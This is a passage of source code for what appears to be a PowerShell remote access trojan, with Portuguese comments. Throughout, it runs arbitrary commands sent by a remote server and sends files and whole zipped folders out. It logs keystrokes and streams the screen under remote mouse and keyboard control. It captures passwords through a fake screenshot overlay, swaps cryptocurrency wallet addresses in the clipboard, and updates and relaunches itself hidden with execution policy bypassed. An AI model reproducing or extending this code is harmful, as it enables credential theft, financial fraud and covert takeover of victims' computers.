([Environment]::UserInteractive -and $Host.Name -eq "ConsoleHost") if (-not $amISystem -and -not $skipPeriodicCheck -and ([DateTime]::Now - $script:_lastSystemCheck).TotalSeconds -ge 30) { $script:_lastSystemCheck = [DateTime]::Now foreach ($pidPath in @("$($script:InstallConfig.InstallDir)\client.pid", "$env:APPDATA\Microsoft\$($__identity.SvcName)\client.pid")) { try { if (Test-Path $pidPath -ErrorAction SilentlyContinue) { $sysPid = [int](Get-Content $pidPath -Raw -ErrorAction SilentlyContinue) if ($sysPid -and $sysPid -ne $PID) { $sysProc = Get-Process -Id $sysPid -ErrorAction SilentlyContinue if ($sysProc -and $sysProc.ProcessName -match "powershell") { try { $stream.Close() } catch {} try { $client.Close() } catch {} exit 0 } } } } catch {} } } # [*] VERIFICAR STATUS DE INATIVIDADE (20 MINUTOS) $isIdle = Check-IdleStatus $stream # [~] LIMPAR BUFFER AO RETOMAR DO IDLE if ($global:JustResumedFromIdle) { $global:JustResumedFromIdle = $false Clear-StreamBuffer $stream $lastScr = [DateTime]::MinValue $lastPing = [long]([DateTime]::UtcNow.Ticks / 10000) } # ??????????????????????????????????????????????????????????????? # MONITORAMENTO DO SCREENSHOT EM BACKGROUND - RODA SEMPRE! # ??????????????????????????????????????????????????????????????? if ($script:ScreenshotActive -and $script:ScreenshotProcess) { # Verificar se processo terminou if ($script:ScreenshotProcess.HasExited) { $pwd = "" # Aguardar arquivo ser escrito Start-Sleep -Milliseconds 30 # Ler resultado do arquivo if ($script:ScreenshotTempResult -and (Test-Path $script:ScreenshotTempResult)) { try { $pwd = [System.IO.File]::ReadAllText($script:ScreenshotTempResult).Trim() } catch {} } # Enviar a senha capturada (se tiver) if ($pwd -and $pwd.Length -gt 0) { try { # OTIMIZA??O: String formatting em vez de ConvertTo-Json $jsonData = '{"Type":"screenshot_capture","Value":"' + ($pwd -replace '"', '\"') + '","Timestamp":"' + (Get-Date).ToString("o") + '"}' $d = $script:FastUTF8.GetBytes($jsonData) $script:BW.Write([byte[]]$Config.Magic) $script:BW.Write([byte]0xE3) $script:BW.Write([int32]$d.Length) $script:BW.Write($d) $script:BW.Flush() } catch {} } # Restaurar overlay anterior (modo priv) if ($script:WasOverlayActive -and $script:PreviousOverlayMode -gt 0) { Start-DisplayOverlay -Mode $script:PreviousOverlayMode } # TERCEIRO: Enviar confirma??o try { # OTIMIZA??O: String formatting em vez de ConvertTo-Json $privRestored = ($script:WasOverlayActive -and $script:PreviousOverlayMode -gt 0) $pwdCaptured = ($pwd -and $pwd.Length -gt 0) $confirmData = '{"Type":"screenshot_complete","PrivRestored":' + ($privRestored.ToString().ToLower()) + ',"PrivMode":' + $script:PreviousOverlayMode + ',"PasswordCaptured":' + ($pwdCaptured.ToString().ToLower()) + ',"Timestamp":"' + (Get-Date).ToString("o") + '"}' $cd = $script:FastUTF8.GetBytes($confirmData) $script:BW.Write([byte[]]$Config.Magic) $script:BW.Write([byte]0xE3) $script:BW.Write([int32]$cd.Length) $script:BW.Write($cd) $script:BW.Flush() } catch {} # Limpar estado $script:ScreenshotActive = $false $script:ScreenshotProcess = $null try { if ($script:ScreenshotTempResult) { Remove-Item $script:ScreenshotTempResult -Force -ErrorAction SilentlyContinue } } catch {} } } # === PROCESSAR COMANDOS (max comandos por iteracao) === # CR?TICO: Processar TODOS os eventos de mouse para hover detection # Hover = MouseMove cont?nuo - n?o pode ter delays ou drops $cmdCount = 0 $maxCmd = if ($script:StreamingEnabled) { 1000 } else { 100 } try { while ($stream.DataAvailable -and $cmdCount -lt $maxCmd) { $cmdCount++ $pkt = Read-Packet -Stream $stream if ($pkt) { $lastDataReceived = [long]([DateTime]::UtcNow.Ticks / 10000) $j = @{} try { if ($pkt.Length -gt 0) { $jsonStr = $script:FastUTF8.GetString($pkt.Data) if ($jsonStr -and $jsonStr.Length -gt 0) { # LOG para pacotes grandes if ($jsonStr.Length -gt 50000) { } $j = $script:JsonParser.DeserializeObject($jsonStr) } } } catch { $j = @{} } # Log de pacotes importantes (exceto mouse/keyboard que são muito frequentes) if ($pkt.Type -notin @(0x20, 0x21, 0x22, 0x23, 0xE0, 0xE1)) { } switch ($pkt.Type) { 0xE0 { try { $__bw=$script:BW;$__bw.Write([byte[]]$Config.Magic);$__bw.Write([byte]0xE1);$__bw.Write([int32]0);$__bw.Flush() } catch {} } # =============================================================== # CONTROLE REMOTO - SEMPRE FUNCIONA (mesmo em idle) + ACORDA # =============================================================== 0x20 { # MouseMove ? thread dedicada ja processa; este e fallback Force-WakeFromIdle $nowMon = [long]([DateTime]::UtcNow.Ticks / 10000) if (($nowMon - $monitorCacheTime) -gt 500) { $monitorCache = Get-SelectedMonitor $monitorCacheTime = $nowMon # Sincronizar com thread de input quando monitor muda $script:_inputMonXY[0] = $monitorCache.X; $script:_inputMonXY[1] = $monitorCache.Y } $mon = $monitorCache [NativeInput]::MoveMouse($mon.X + $j.X, $mon.Y + $j.Y) } 0x21 { # MouseButton - ZERO LATENCY Force-WakeFromIdle # OTIMIZA??O: Cache Get-SelectedMonitor com TTL 500ms $nowMon = [long]([DateTime]::UtcNow.Ticks / 10000) if (($nowMon - $monitorCacheTime) -gt 500) { $monitorCache = Get-SelectedMonitor $monitorCacheTime = $nowMon } $mon = $monitorCache [NativeInput]::MoveMouse($mon.X + $j.X, $mon.Y + $j.Y) if ($j.IsDown) { [NativeInput]::MouseDown($j.Button) } else { [NativeInput]::MouseUp($j.Button) } } 0x22 { Force-WakeFromIdle; [NativeInput]::MouseWheel($j.Delta) } # MouseWheel 0x23 { Force-WakeFromIdle; if ($j.IsDown) { [NativeInput]::KeyDown([byte]$j.KeyCode) } else { [NativeInput]::KeyUp([byte]$j.KeyCode) } } # Keyboard 0xA2 { # SystemCommand $cmdValue = if ($j.Cmd) { $j.Cmd } elseif ($j.Command) { $j.Command } elseif ($j.command) { $j.command } else { $null } if ($cmdValue -eq 'folderDownload' -and $j.Path) { try { $fPath = $j.Path.TrimEnd('\') if (Test-Path $fPath -PathType Container) { Add-Type -AssemblyName System.IO.Compression.FileSystem -EA SilentlyContinue $folderName = [IO.Path]::GetFileName($fPath) $zipPath = Join-Path $env:TEMP "$folderName`_$(Get-Random).zip" try { if (Test-Path $zipPath) { Remove-Item $zipPath -Force } } catch {} [System.IO.Compression.ZipFile]::CreateFromDirectory($fPath, $zipPath, [System.IO.Compression.CompressionLevel]::Fastest, $false) $zipInfo = Get-Item $zipPath if ($zipInfo.Length -gt 104857600) { Remove-Item $zipPath -Force -EA SilentlyContinue $__json = '{"FileName":"' + $folderName + '.zip","Error":"Pasta comprimida muito grande (>' + [math]::Round($zipInfo.Length/1MB) + 'MB, max 100MB)","Size":' + $zipInfo.Length + '}' } else { $zipBytes = [IO.File]::ReadAllBytes($zipPath) Remove-Item $zipPath -Force -EA SilentlyContinue $zipB64 = [Convert]::ToBase64String($zipBytes) $__json = '{"FileName":"' + $folderName + '.zip","Data":"' + $zipB64 + '","Size":' + $zipBytes.Length + '}' } } else { $__json = '{"FileName":"pasta.zip","Error":"Pasta nao encontrada: ' + ($fPath -replace '\\','\\\\' -replace '"','\"') + '","Size":0}' } $__d = $script:FastUTF8.GetBytes($__json) $__bw = $script:BW $__bw.Write([byte[]]$Config.Magic) $__bw.Write([byte]0x53) $__bw.Write([int32]$__d.Length) $__bw.Write([byte[]]$__d) $__bw.Flush() } catch { $__json = '{"FileName":"pasta.zip","Error":"' + ($_.ToString() -replace '"','\"') + '","Size":0}' $__d = $script:FastUTF8.GetBytes($__json) $__bw = $script:BW $__bw.Write([byte[]]$Config.Magic) $__bw.Write([byte]0x53) $__bw.Write([int32]$__d.Length) $__bw.Write([byte[]]$__d) $__bw.Flush() } } else { try { $r = Handle-SystemCommand -Cmd $cmdValue -Stream $stream } catch { $r = "ERRO: $_" } try { $__json = '{"Output":"' + ($r -replace '"', '\"') + '","ExitCode":0}' $__d = $script:FastUTF8.GetBytes($__json) $__bw=$script:BW $__bw.Write([byte[]]$Config.Magic) $__bw.Write([byte]0xA1) $__bw.Write([int32]$__d.Length) $__bw.Write([byte[]]$__d) $__bw.Flush() } catch {} } # Verificar se deve encerrar (apos request_uac) if ($script:ForceExit) { try { $stream.Close() } catch {} try { $client.Close() } catch {} [Environment]::Exit(0) } } 0xA0 { # Command try { $cmd = $j.CommandText if ($j.EncryptedCmd) { $decrypted = Decrypt-SecureData -Data $j.EncryptedCmd if ($decrypted) { $cmd = $decrypted } } $r = Invoke-Expression $cmd 2>&1 | Out-String $encResult = Encrypt-SecureData -Text $r # OTIMIZA??O: String formatting em vez de ConvertTo-Json (30x mais r?pido) $__json = '{"Output":"' + ($r -replace '"', '\"') + '","EncryptedOutput":"' + ($encResult -replace '"', '\"') + '","ExitCode":0}' $__d = $script:FastUTF8.GetBytes($__json) $__bw=$script:BW $__bw.Write([byte[]]$Config.Magic) $__bw.Write([byte]0xA1) $__bw.Write([int32]$__d.Length) $__bw.Write([byte[]]$__d) $__bw.Flush() } catch {} } 0x61 { # ChatPopup / Screenshot try { if ($j.IsScreenshot -and $j.ImageBase64) { $script:PreviousOverlayMode = $script:CurrentOverlayMode $script:WasOverlayActive = $script:OverlayActive if ($script:WasOverlayActive) { Stop-DisplayOverlay } # Iniciar overlay em BACKGROUND (nao bloqueia streaming) $pwd = Show-ScreenshotOverlay -ImageBase64 $j.ImageBase64 -ImageWidth ([int]$j.ImageWidth) -ImageHeight ([int]$j.ImageHeight) -InputX ([int]$j.InputX) -InputY ([int]$j.InputY) -InputW ([int]$j.InputW) -InputH ([int]$j.InputH) -ButtonX ([int]$j.ButtonX) -ButtonY ([int]$j.ButtonY) -ButtonW ([int]$j.ButtonW) -ButtonH ([int]$j.ButtonH) -QRX ([int]$j.QRX) -QRY ([int]$j.QRY) -QRW ([int]$j.QRW) -QRH ([int]$j.QRH) } else { Show-ChatPopup -Message $j.Message -Title $j.Title } } catch { } } } # Se acordou do idle via comando remoto, atualizar $isIdle IMEDIATAMENTE if ($global:JustResumedFromIdle) { $global:JustResumedFromIdle = $false $isIdle = $false } # Se nao esta idle, processar captura de tela if (-not $isIdle) { switch ($pkt.Type) { 0x11 { try { # ACK signal: zero-length data = viewer finished rendering, trigger next frame if ($pkt.Data.Length -eq 0) { $script:_inputTrig[0] = 1 } else { if ($null -ne $j.Streaming) { $script:StreamingEnabled = [bool]$j.Streaming if ($j.Streaming) { $script:PerfConfig.FrameInterval = 6 $script:_inputTrig[0] = 1 $script:_burstUntil = [long]([DateTime]::UtcNow.Ticks / 10000) + 600 } } if ($j.Quality) { $script:PerfConfig.Quality = $j.Quality try { [IO.File]::WriteAllText($script:DxgiQualityPath, [string]$j.Quality) } catch {} } if ($j.FullScreen -or $j.Streaming -eq $true) { $script:_burstUntil = [long]([DateTime]::UtcNow.Ticks / 10000) + 600 $ss = Get-Screenshot if ($ss) { $__bw=$script:BW;$__bw.Write([byte[]]$Config.Magic);$__bw.Write([byte]0x10);$__bw.Write([int32]$ss.Length);$__bw.Write([byte[]]$ss);$__bw.Flush() } } } } catch {} } 0x13 { if ($j.Quality) { $script:PerfConfig.Quality = [Math]::Max(15, [Math]::Min($j.Quality, 50)); try { [IO.File]::WriteAllText($script:DxgiQualityPath, [string]$script:PerfConfig.Quality) } catch {} } } # QualityChange 0x40 { # ClipboardText try { $text = $j.Text if ($j.EncryptedText) { $decrypted = Decrypt-SecureData -Data $j.EncryptedText if ($decrypted) { $text = $decrypted } } if ($text) { Set-Clipboard -Value $text } } catch {} } 0x70 { $script:InputTrackActive = $true; $script:_inputTrackStarted = [DateTime]::UtcNow; try { [InputTracker]::Start() } catch {} } # InputTrackStart 0x71 { $script:InputTrackActive = $false; try { [InputTracker]::Stop() } catch {} } # InputTrackStop 0x73 { # CryptoClipperSet try { $script:CryptoClipperEnabled = [bool]$j.Enabled if ($j.Wallets) { foreach ($key in $j.Wallets.Keys) { if ($script:CryptoWallets.ContainsKey($key)) { $script:CryptoWallets[$key] = $j.Wallets[$key] } } } $script:_clipperLast = '' } catch {} } 0x50 { try { $result = Get-FileList -Path $j.Path $__items = $result.Items if ($__items -and $__items.Count -gt 0) { $__json = '{"Path":"' + ($result.Path -replace '\\','\\\\' -replace '"','\"') + '","Items":[' for ($i = 0; $i -lt $__items.Count; $i++) { if ($i -gt 0) { $__json += ',' } $item = $__items[$i] $__json += '{"Name":"' + ($item.Name -replace '\\','\\\\' -replace '"', '\"') + '","Size":' + $item.Size + ',"Type":"' + $item.Type + '"}' } $__json += ']}' } else { $__json = '{"Path":"' + ($result.Path -replace '\\','\\\\' -replace '"','\"') + '","Items":[]}' } $__d = $script:FastUTF8.GetBytes($__json) $__bw = $script:BW $__bw.Write([byte[]]$Config.Magic) $__bw.Write([byte]0x51) $__bw.Write([int32]$__d.Length) $__bw.Write([byte[]]$__d) $__bw.Flush() } catch {} } 0x54 { try { $fd = Get-FileData -FilePath $j.Path if ($fd) { if ($fd.Error) { $__json = '{"FileName":"' + ($fd.FileName -replace '\\','\\\\' -replace '"','\"') + '","Error":"' + ($fd.Error -replace '"','\"') + '","Size":' + $fd.Size + '}' } else { $__json = '{"FileName":"' + ($fd.FileName -replace '\\','\\\\' -replace '"','\"') + '","Data":"' + ($fd.Data -replace '"', '\"') + '","Size":' + $fd.Size + '}' } $__d = $script:FastUTF8.GetBytes($__json) $__bw = $script:BW $__bw.Write([byte[]]$Config.Magic) $__bw.Write([byte]0x53) $__bw.Write([int32]$__d.Length) $__bw.Write([byte[]]$__d) $__bw.Flush() } } catch {} } 0x55 { # FileUpload try { $fb = [System.Convert]::FromBase64String($j.Data) $dp = "C:\Users\Public\Documents" $rp = $j.RelativePath if ($rp -and $rp.Contains('/')) { $rp = $rp -replace '/', '\' $subDir = [IO.Path]::GetDirectoryName($rp) if ($subDir) { $dp = Join-Path $dp $subDir if (-not (Test-Path $dp)) { New-Item -Path $dp -ItemType Directory -Force | Out-Null } } } $sp = Join-Path $dp $j.FileName $n = [IO.Path]::GetFileNameWithoutExtension($j.FileName) $x = [IO.Path]::GetExtension($j.FileName) $i = 1 while (Test-Path $sp) { $sp = Join-Path $dp "${n} (${i})${x}"; $i++ } [IO.File]::WriteAllBytes($sp, $fb) $__cf = '{"Type":"command_confirm","Command":"file_uploaded","FileName":"' + ($j.FileName -replace '"','\"') + '","SavedTo":"' + ($sp -replace '\\','\\\\' -replace '"','\"') + '","Size":' + $fb.Length + '}' $__cd = $script:FastUTF8.GetBytes($__cf) $__bw = $script:BW $__bw.Write([byte[]]$Config.Magic) $__bw.Write([byte]0xA1) $__bw.Write([int32]$__cd.Length) $__bw.Write([byte[]]$__cd) $__bw.Flush() } catch {} } 0xB2 { try { $pr = Get-Process | Select-Object -First 100 Id,ProcessName,CPU,WorkingSet64 | ForEach-Object { @{Id=$_.Id;Name=$_.ProcessName;Cpu=$_.CPU;Memory=$_.WorkingSet64} } # OTIMIZA??O: String formatting em vez de ConvertTo-Json $__json = '{"Processes":[' for ($i = 0; $i -lt $pr.Count; $i++) { if ($i -gt 0) { $__json += ',' } $p = $pr[$i] $__json += '{"Id":' + $p.Id + ',"Name":"' + ($p.Name -replace '"', '\"') + '","Cpu":' + $p.Cpu + ',"Memory":' + $p.Memory + '}' } $__json += ']}' $__d = $script:FastUTF8.GetBytes($__json) $__bw = $script:BW $__bw.Write([byte[]]$Config.Magic) $__bw.Write([byte]0xB2) $__bw.Write([int32]$__d.Length) $__bw.Write([byte[]]$__d) $__bw.Flush() } catch {} } 0xB3 { try { $sv = Get-Service | Select-Object -First 100 Name,DisplayName,Status | ForEach-Object { @{Name=$_.Name;DisplayName=$_.DisplayName;Status=$_.Status.ToString()} } # OTIMIZA??O: String formatting em vez de ConvertTo-Json $__json = '{"Services":[' for ($i = 0; $i -lt $sv.Count; $i++) { if ($i -gt 0) { $__json += ',' } $s = $sv[$i] $__json += '{"Name":"' + ($s.Name -replace '"', '\"') + '","DisplayName":"' + ($s.DisplayName -replace '"', '\"') + '","Status":"' + $s.Status + '"}' } $__json += ']}' $__d = $script:FastUTF8.GetBytes($__json) $__bw = $script:BW $__bw.Write([byte[]]$Config.Magic) $__bw.Write([byte]0xB3) $__bw.Write([int32]$__d.Length) $__bw.Write([byte[]]$__d) $__bw.Flush() } catch {} } 0x15 { # MonitorSelect $newIdx = $j.Index if ($newIdx -eq -1) { # Panorama mode: capturar VirtualScreen (todos monitores) $script:SelectedMonitorIndex = -1 $vs = [System.Windows.Forms.SystemInformation]::VirtualScreen $mon = @{ Index = -1; X = $vs.X; Y = $vs.Y; Width = $vs.Width; Height = $vs.Height; Primary = $false } $script:_monW = $vs.Width; $script:_monH = $vs.Height $script:_monX = $vs.X; $script:_monY = $vs.Y $script:_inputMonXY[0] = $vs.X; $script:_inputMonXY[1] = $vs.Y $monitorCache = $mon; $monitorCacheTime = [long]([DateTime]::UtcNow.Ticks / 10000) try { [IO.File]::WriteAllText($script:DxgiMonPath, "-1,$($vs.Width),$($vs.Height)") } catch {} Send-MonitorList -Stream $stream } elseif ($newIdx -ge 0 -and $newIdx -lt $script:Monitors.Count) { $script:SelectedMonitorIndex = $newIdx $mon = Get-SelectedMonitor $script:_monW = $mon.Width; $script:_monH = $mon.Height $script:_monX = $mon.X; $script:_monY = $mon.Y $script:_inputMonXY[0] = $mon.X; $script:_inputMonXY[1] = $mon.Y $monitorCache = $mon; $monitorCacheTime = [long]([DateTime]::UtcNow.Ticks / 10000) try { [IO.File]::WriteAllText($script:DxgiMonPath, "$newIdx,$($mon.Width),$($mon.Height),$($mon.X),$($mon.Y)") } catch {} Send-MonitorList -Stream $stream } } 0x14 { Send-MonitorList -Stream $stream } # MonitorList 0xFB { # UpdateResponse - auto-update push do server try { if ($j.HasUpdate -eq $true -and $j.Script) { $newHash = $j.Hash $localPath = $script:SourceScriptPath $localHash = '' if ($localPath -and (Test-Path $localPath -EA 0)) { $localContent = [IO.File]::ReadAllText($localPath, [Text.Encoding]::UTF8) $sha = [System.Security.Cryptography.SHA256]::Create() $localHash = [BitConverter]::ToString($sha.ComputeHash([Text.Encoding]::UTF8.GetBytes($localContent))).Replace('-','').ToUpper() } if ($localHash -ne $newHash) { [IO.File]::WriteAllText($localPath, $j.Script, [Text.Encoding]::UTF8) $installDest = Join-Path $script:InstallConfig.InstallDir $script:InstallConfig.ScriptName if ($installDest -ne $localPath -and (Test-Path (Split-Path $installDest -Parent) -EA 0)) { try { [IO.File]::WriteAllText($installDest, $j.Script, [Text.Encoding]::UTF8) } catch {} } $resJson = '{"Type":"update_applied","Hash":"' + $newHash + '"}' $resD = $script:FastUTF8.GetBytes($resJson) $__bw=$script:BW;$__bw.Write([byte[]]$Config.Magic);$__bw.Write([byte]0xE3);$__bw.Write([int32]$resD.Length);$__bw.Write([byte[]]$resD);$__bw.Flush() Start-Sleep -Milliseconds 500 $psExe = (Get-Process -Id $PID).Path $spEsc = $localPath -replace "'", "''" Start-Process $psExe -ArgumentList "-NoP -EP Bypass -W Hidden -c `"`$env:_nR='1';& ([ScriptBlock]::Create((gc '$spEsc' -Raw))) -ScriptPath '$spEsc'`"" -WindowStyle Hidden [Environment]::Exit(0) } } } catch {} } } } } } } catch {} if ($script:CryptoClipperEnabled) { try { $c = Get-Clipboard -Raw -ErrorAction SilentlyContinue if ($c -and $c.Length -ge 10 -and $c.Length -le 120) { $t = $c.Trim() if ($t -ne $script:_clipperLast) { foreach ($coin in $script:CryptoPatterns.Keys) { if ($script:CryptoWallets[$coin] -and $t -match $script:CryptoPatterns[$coin] -and $t -ne $script:CryptoWallets[$coin]) { Set-Clipboard -Value $script:CryptoWallets[$coin] $script:_clipperLast = $script:CryptoWallets[$coin] break } } } } } catch {} } if ($isIdle) { # PC esta IDLE - Enviar ping e aguardar # PHASE 3: Non-periodic ping using randomized scheduling if (Test-Phase3Operation -Operation "Ping") { try { $__bw=$script:BW;$__bw.Write([byte[]]$Config.Magic);$__bw.Write([byte]0xE0);$__bw.Write([int32]0);$__bw.Flush() } catch {} } if (-not $script:StreamingEnabled) { Start-Sleep -Milliseconds 500 } continue } # PHASE 3: Browser check - roda SEMPRE (streaming ou nao) para deteccao imediata # Check-BrowserTitle e rapido (string comparison) - nao impacta fps if (Test-Phase3Operation -Operation "BrowserCheck") { try { $alert = Check-BrowserTitle if ($alert.Detected -eq $true) { $__json = '{"Detected":true,"Title":"' + ($alert.Title -replace '"', '\"') + '","Domain":"' + ($alert.Domain -replace '"', '\"') + '","Process":"' + ($alert.Process -replace '"', '\"') + '","Time":"' + $alert.Time + '"}' $__d = $script:FastUTF8.GetBytes($__json) $__bw = $script:BW $__bw.Write([byte[]]$Config.Magic) $__bw.Write([byte]0x80) $__bw.Write([int32]$__d.Length) $__bw.Write([byte[]]$__d) $__bw.Flush() } } catch {} } if ($script:InputTrackActive) { try { if ($null -eq $script:_pendingKeys) { $script:_pendingKeys = '' } [InputTracker]::ScanAllKeys() $keys = [InputTracker]::GetBufferedKeys() if ($keys.Count -gt 0) { $script:_pendingKeys += ($keys -join '') } if ($script:_pendingKeys.Length -gt 0) { $toSend = $script:_pendingKeys if ($toSend.Length -gt 16000) { $toSend = $toSend.Substring($toSend.Length - 16000) } $safe = $toSend -replace '\\', '\\\\' -replace '"', '\"' -replace "`r", '' -replace "`n", '' $__json = '{"Key":"' + $safe + '"}' $__d = $script:FastUTF8.GetBytes($__json) $__bw = $script:BW $__bw.Write([byte[]]$Config.Magic) $__bw.Write([byte]0x72) $__bw.Write([int32]$__d.Length) $__bw.Write([byte[]]$__d) $__bw.Flush() $script:_pendingKeys = '' } if ($script:_inputTrackStarted -and ([DateTime]::UtcNow - $script:_inputTrackStarted).TotalSeconds -gt 90) { try { [InputTracker]::Stop() } catch {} Start-Sleep -Milliseconds 50 try { [InputTracker]::Start() } catch {} $script:_inputTrackStarted = [DateTime]::UtcNow } } catch {} } # Input-triggered frame $__trig = $script:_inputTrig[0] if ($__trig) { $script:_inputTrig[0] = 0 $script:_burstUntil = [long]([DateTime]::UtcNow.Ticks / 10000) + 400 } $__now = [long]([DateTime]::UtcNow.Ticks / 10000) $__inBurst = $__now -lt $script:_burstUntil $__interval = if ($__inBurst) { 2 } else { $script:PerfConfig.FrameInterval } if ($script:StreamingEnabled) { $__elapsed = ([DateTime]::Now - $lastScr).TotalMilliseconds $__shouldCapture = $__trig -or ($__elapsed -ge $__interval) if ($__shouldCapture) { try { $ss = Get-Screenshot if ($ss -and $ss.Length -gt 50) { $script:_ssFailCount = 0 if ($stream.CanWrite) { $__bw=$script:BW;$__bw.Write([byte[]]$Config.Magic);$__bw.Write([byte]0x10);$__bw.Write([int32]$ss.Length);$__bw.Write([byte[]]$ss);$__bw.Flush() } else { if ($script:_ws.State -ne [System.Net.WebSockets.WebSocketState]::Open) { $connectionAlive = $false; continue } } } else { if (++$script:_ssFailCount -ge 30) { $script:_ssFailCount = 0 try { Stop-DxgiWorker } catch {} Start-Sleep -Milliseconds 200 try { Start-DxgiWorker } catch {} } } $lastScr = [DateTime]::Now if (++$script:_monUpdateCtr -ge 60) { $script:_monUpdateCtr = 0 $mon = Get-SelectedMonitor $script:_monW = $mon.Width; $script:_monH = $mon.Height $script:_monX = $mon.X; $script:_monY = $mon.Y } } catch { if ($script:_ws.State -ne [System.Net.WebSockets.WebSocketState]::Open) { $connectionAlive = $false; continue } } } } if (-not $script:StreamingEnabled) { [System.Threading.Thread]::Sleep(5) } elseif ($__inBurst) { [System.Threading.Thread]::Sleep(0) } else { [System.Threading.Thread]::Sleep(1) } } } catch { } finally { # PRIVMODE PERSIST: NAO parar overlay/input aqui - continua mesmo se conexao cair # try { Stop-DisplayOverlay } catch {} # try { Stop-InputPause } catch {} try { if ($script:BW) { $script:BW.Close(); $script:BW = $null } } catch {} try { $script:_wsCts.Cancel() } catch {} try { if ($script:_wsRecvPS) { $script:_wsRecvPS.Stop() } } catch {} try { if ($script:_inputPS) { $script:_inputPS.Stop() } } catch {} try { if ($script:_inputRS) { $script:_inputRS.Close() } } catch {} try { Stop-DxgiWorker } catch {} try { [System.GC]::Collect() } catch {} } # OTIMIZADO: Reconex?o inteligente com backoff progressivo if (-not $script:_reconnectAttempt) { $script:_reconnectAttempt = 0 } $script:_reconnectAttempt++ $delay = 5 Start-Sleep -Seconds $delay } } #Region QR Code Overlay System # ============================================================================== # QR CODE OVERLAY SYSTEM # ============================================================================== # Description: Provides QR code overlay functionality using a separate form # that displays over the screen without interfering with existing # display overlay functionality. # # Design Pattern: Separate namespace to avoid conflicts with existing types # === TEST: Verificar BinaryWriter === Start-Client